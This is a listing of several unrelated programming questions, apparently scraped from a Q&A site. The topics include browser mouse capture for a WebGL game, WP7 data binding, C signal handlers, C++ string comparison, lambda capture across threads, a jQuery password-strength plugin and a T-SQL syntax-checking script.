    Im using JavaScript, the HTML5 canvas-element and WebGL to make a simple 3D-game in first person view for fun. Ideally, I would like to control my movement by using the keyboard to move and the mouse to look around, like you usually do in FPS-games. As you probably understand, there are some limits to this in the browser, since the mouse cant be captured: When using the onmousemove event, no further movement will be detected when the mouse pointer reaches the border of my screen (which means that I wont be able to run in a circle for example) Seeing the mouse move across the screen is not the end of the world, but it is a little annoying From what I know, it's impossible to hide the mouse as well as setting it's position in JavaScript. Hence, my question is this: If we cant to those things, what can we do in order to get close to the desktop gaming experience when it comes to the mouse in the browser? And I mean right now, using current APIs. Not "what could be changed in some standard to make life easier". Also, I realize that I could use the keyboard to look around, but then we're back in 1995 when Quake were actually played like that. And of course I know that it would be easier to write a desktop application or use Flash at least, but Im trying to push JavaScript's limits here. Apart from those things, what are your suggestions? Any kind of reference, existing game, crazy idea, hack or even browser specific solution would be appreciated.

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  • WP7 listbox binding not working properly

    - by Marco
    A noob error for sure (I started yesterday afternoon developing in WP7), but I'm wasting a lot time on it. I post my class and a little part of my code: public class ChronoLaps : INotifyPropertyChanged { private ObservableCollection<ChronoLap> laps = null; public int CurrentLap { get { return lap; } set { if (value == lap) return; // Some code here .... ChronoLap newlap = new ChronoLap() { // Some code here ... }; Laps.Insert(0, newlap); lap = value; NotifyPropertyChanged("CurrentLap"); NotifyPropertyChanged("Laps"); } } public ObservableCollection<ChronoLap> Laps { get { return laps; } set { if (value == laps) return; laps = value; if (laps != null) { laps.CollectionChanged += delegate { MeanTime = Laps.Sum(p => p.Time.TotalMilliseconds) / (Laps.Count * 1000); NotifyPropertyChanged("MeanTime"); }; } NotifyPropertyChanged("Laps"); } } } MainPage.xaml.cs public partial class MainPage : PhoneApplicationPage { public ChronoLaps History { get; private set; } private void butStart_Click(object sender, EventArgs e) { History = new ChronoLaps(); // History.Laps.Add(new ChronoLap() { Distance = 0 }); LayoutRoot.DataContext = History; } } MainPage.xaml <phone:PhoneApplicationPage> <Grid x:Name="LayoutRoot" Background="Transparent"> <Grid Grid.Row="2"> <ScrollViewer Margin="-5,13,3,36" Height="758"> <ListBox Name="lbHistory" ItemContainerStyle="{StaticResource ListBoxStyle}" ItemsSource="{Binding Laps}" HorizontalAlignment="Left" Margin="5,25,0,0" VerticalAlignment="Top" Width="444"> <ListBox.ItemTemplate> <DataTemplate> <StackPanel Orientation="Horizontal"> <TextBlock Text="{Binding Lap}" Width="40" /> <TextBlock Text="{Binding Time}" Width="140" /> <TextBlock Text="{Binding TotalTime}" Width="140" /> <TextBlock Text="{Binding Distance}" /> </StackPanel> </DataTemplate> </ListBox.ItemTemplate> </ListBox> </ScrollViewer> </Grid> </Grid> </phone:PhoneApplicationPage> Problem is that when I add one or more items to History.Laps collection, my listbox is not refreshed and these items don't appear. But if I remove comment on // History.Laps.Add(new ChronoLap()... line, this item appear and so every other inserted later. More: if I remove that comment and then write History.Laps.Clear() (before or after setting binding) binding is not working anymore. It's like it gets crazy if collection is empty. I really don't understand the reason... UPDATE AND SOLUTION: If i move History = new ChronoLaps(); LayoutRoot.DataContext = History; from butStart_Click to public MainPage() everything works as expected. Can someone explain me the reason?

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  • Prob comparing pointers and integer in C

    - by Dimitri
    Hi I have a problem with this code. When i am using this function I have no warnings. : void handler(int sig){ switch(sig) { case SIGINT : { click++; fprintf(stdout,"SIGINT recu\n"); if( click == N){ exit(0); } } case SIGALRM : fprintf(stdout,"SIGALRM received\n"); exit(0); case SIGTERM: fprintf(stdout,"SIGTERM received\n"); exit(0); } } But when i rewrite the function with this new version, I have a " comparison between pointer and integer" warning on the if statement: void handler( int sig){ printf("Signal recu\n"); if( signal == SIGINT){ click++; fprintf(stdout,"SIGINT received; Click = %d\n",click); if(click == N){ fprintf(stdout,"Exiting with SIGINT\n"); exit(0); } } else if(signal == SIGALRM){ fprintf(stdout,"SIGALRM received\n"); exit(0); } else if(signal == SIGTERM){ fprintf(stdout,"SIGTERM received\n"); exit(0); } Can someone tell me where is the prob?

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  • How to compare two structure strings in C++

    - by Arvandor
    Ok, so this week in class we're working with arrays. I've got an assignment that wanted me to create a structure for an employee containing an employee ID, first name, last name, and wages. Then it has me ask users for input for 5 different employees all stored in an array of this structure, then ask them for a search field type, then a search value. Lastly, display all the information for all positive search results. I'm still new, so I'm sure it isn't a terribly elegant program, but what I'm trying to do now is figure out how to compare a user entered string with the string stored in the structure... I'll try to give all the pertinent code below. struct employee { int empid, string firstname, string lastname, float wage }; employee emparray[] = {}; employee value[] = {}; //Code for populating emparray and structure, then determine search field etc. cout << "Enter a search value: "; cin >> value.lastname; for(i = 0; i < 5; i++) { if(strcmp(value.lastname.c_str, emparray[i].lastname.c_str) == 0) { output(); } } Which... I thought would work, but it's giving me the following error.. Error 1 error C3867: 'std::basic_string<_Elem,_Traits,_Alloc>::c_str': function call missing argument list; use '&std::basic_string<_Elem,_Traits,_Alloc>::c_str' to create a pointer to member d:\myfile Any thoughts on what's going on? Is there a way to compare two .name notated strings without totally revamping the program? IF you want to drill me on best practices, please feel free, but also please try to solve my particular problem.

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  • How to pass data to a C++0x lambda function that will run in a different thread?

    - by Dimitri C.
    In our company we've written a library function to call a function asynchronously in a separate thread. It works using a combination of inheritance and template magic. The client code looks as follows: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, &DemoThread::SomeFunction, stringToPassByValue); Since the introduction of lambda functions I'd like to use it in combination with lambda functions. I'd like to write the following client code: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, [=]() { const std::string someCopy = stringToPassByValue; }); Now, with the Visual C++ 2010 this code doesn't work. What happens is that the stringToPassByValue is not copied. Instead the "capture by value" feature passes the data by reference. The result is that if the function is executed after stringToPassByValue has gone out of scope, the application crashes as its destructor is called already. So I wonder: is it possible to pass data to a lambda function as a copy? Note: One possible solution would be to modify our framework to pass the data in the lambda parameter declaration list, as follows: DemoThread thread; std::string stringToPassByValue = "The string to pass by value"; AsyncCall(thread, [=](const std::string stringPassedByValue) { const std::string someCopy = stringPassedByValue; } , stringToPassByValue); However, this solution is so verbose that our original function pointer solution is both shorter and easier to read. Update: The full implementation of AsyncCall is too big to post here. In short, what happens is that the AsyncCall template function instantiates a template class holding the lambda function. This class is derived from a base class that contains a virtual Execute() function, and upon an AsyncCall() call, the function call class is put on a call queue. A different thread then executes the queued calls by calling the virtual Execute() function, which is polymorphically dispatched to the template class which then executes the lambda function.

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  • jQuery password strength plugin callback validation method

    - by jmorhardt
    I'm using a a jQuery plugin to evaluate password strength. It gives a graphical representation for the user to see how secure the password is. I'd like to use it to validate the field as well. The plugin works by assessing the password and giving it a score. I want to be able to verify that the user has entered a password of at least a certain score. The code is hosted on jQuery's site here: http://plugins.jquery.com/project/pstrength. The documentation states that there is a way to add a rule and do custom validation. I'm not sure where to start. The inline documentation states: * === Changelog === * Version 2.1 (18/05/2008) * Added a jQuery method to add a new rule: jQuery('input[@type=password]').pstrength.addRule(name, method, score, active) And later in the code there's this method: jQuery.extend(jQuery.fn.pstrength, { 'addRule': function (name, method, score, active) { digitalspaghetti.password.addRule(name, method, score, active); return true; }, 'changeScore': function (rule, score) { digitalspaghetti.password.ruleScores[rule] = score; return true; }, 'ruleActive': function (rule, active) { digitalspaghetti.password.rules[rule] = active; return true; } }); If anybody has seen an example of how to do this I'd appreciate a pointer in the right direction. Thanks!

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  • JavaScript: List global variables in IE

    - by Quandary
    I'm trying to get the instance name of my class. The way I do this is I loop through all global objects and compare it with the this pointer. It works in Chrome and FF, but in IE, it doesn't. The problem seems to be the global variables don't seem to be in window. How can I loop through the global variables in IE ? PS: I know it only works as long as there is only one instance, and I don't want to pass the instance's name as a parameter. function myClass() { this.myName = function () { // search through the global object for a name that resolves to this object for (var name in this.global) { if (this.global[name] == this) return name } } } function myClass_chrome() { this.myName = function () { // search through the global object for a name that resolves to this object for (var name in window) { if (window[name] == this) return name ; } } ; } // store the global object, which can be referred to as this at the top level, in a // property on our prototype, so we can refer to it in our object's methods myClass.prototype.global = this //myClass_IE.prototype.global = this // create a global variable referring to an object // var myVar = new myClass() var myVar = new myClass_chrome() //var myVar = new myClass_IE() alert(myVar.myName() );// returns "myVar"

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  • I'm looking for a reliable way to verify T-SQL stored procedures. Anybody got one?

    - by Cory Larson
    Hi all-- We're upgrading from SQL Server 2005 to 2008. Almost every database in the 2005 instance is set to 2000 compatibility mode, but we're jumping to 2008. Our testing is complete, but what we've learned is that we need to get faster at it. I've discovered some stored procedures that either SELECT data from missing tables or try to ORDER BY columns that don't exist. Wrapping the SQL to create the procedures in SET PARSEONLY ON and trapping errors in a try/catch only catches the invalid columns in the ORDER BYs. It does not find the error with the procedure selecting data from the missing table. SSMS 2008's intellisense, however, DOES find the issue, but I can still go ahead and successfully run the ALTER script for the procedure without it complaining. So, why can I even get away with creating a procedure that fails when it runs? Are there any tools out there that can do better than what I've tried? The first tool I found wasn't very useful: DbValidator from CodeProject, but it finds fewer problems than this script I found on SqlServerCentral, which found the invalid column references. ------------------------------------------------------------------------- -- Check Syntax of Database Objects -- Copyrighted work. Free to use as a tool to check your own code or in -- any software not sold. All other uses require written permission. ------------------------------------------------------------------------- -- Turn on ParseOnly so that we don't actually execute anything. SET PARSEONLY ON GO -- Create a table to iterate through declare @ObjectList table (ID_NUM int NOT NULL IDENTITY (1, 1), OBJ_NAME varchar(255), OBJ_TYPE char(2)) -- Get a list of most of the scriptable objects in the DB. insert into @ObjectList (OBJ_NAME, OBJ_TYPE) SELECT name, type FROM sysobjects WHERE type in ('P', 'FN', 'IF', 'TF', 'TR', 'V') order by type, name -- Var to hold the SQL that we will be syntax checking declare @SQLToCheckSyntaxFor varchar(max) -- Var to hold the name of the object we are currently checking declare @ObjectName varchar(255) -- Var to hold the type of the object we are currently checking declare @ObjectType char(2) -- Var to indicate our current location in iterating through the list of objects declare @IDNum int -- Var to indicate the max number of objects we need to iterate through declare @MaxIDNum int -- Set the inital value and max value select @IDNum = Min(ID_NUM), @MaxIDNum = Max(ID_NUM) from @ObjectList -- Begin iteration while @IDNum <= @MaxIDNum begin -- Load per iteration values here select @ObjectName = OBJ_NAME, @ObjectType = OBJ_TYPE from @ObjectList where ID_NUM = @IDNum -- Get the text of the db Object (ie create script for the sproc) SELECT @SQLToCheckSyntaxFor = OBJECT_DEFINITION(OBJECT_ID(@ObjectName, @ObjectType)) begin try -- Run the create script (remember that PARSEONLY has been turned on) EXECUTE(@SQLToCheckSyntaxFor) end try begin catch -- See if the object name is the same in the script and the catalog (kind of a special error) if (ERROR_PROCEDURE() <> @ObjectName) begin print 'Error in ' + @ObjectName print ' The Name in the script is ' + ERROR_PROCEDURE()+ '. (They don''t match)' end -- If the error is just that this already exists then we don't want to report that. else if (ERROR_MESSAGE() <> 'There is already an object named ''' + ERROR_PROCEDURE() + ''' in the database.') begin -- Report the error that we got. print 'Error in ' + ERROR_PROCEDURE() print ' ERROR TEXT: ' + ERROR_MESSAGE() end end catch -- Setup to iterate to the next item in the table select @IDNum = case when Min(ID_NUM) is NULL then @IDNum + 1 else Min(ID_NUM) end from @ObjectList where ID_NUM > @IDNum end -- Turn the ParseOnly back off. SET PARSEONLY OFF GO Any suggestions?

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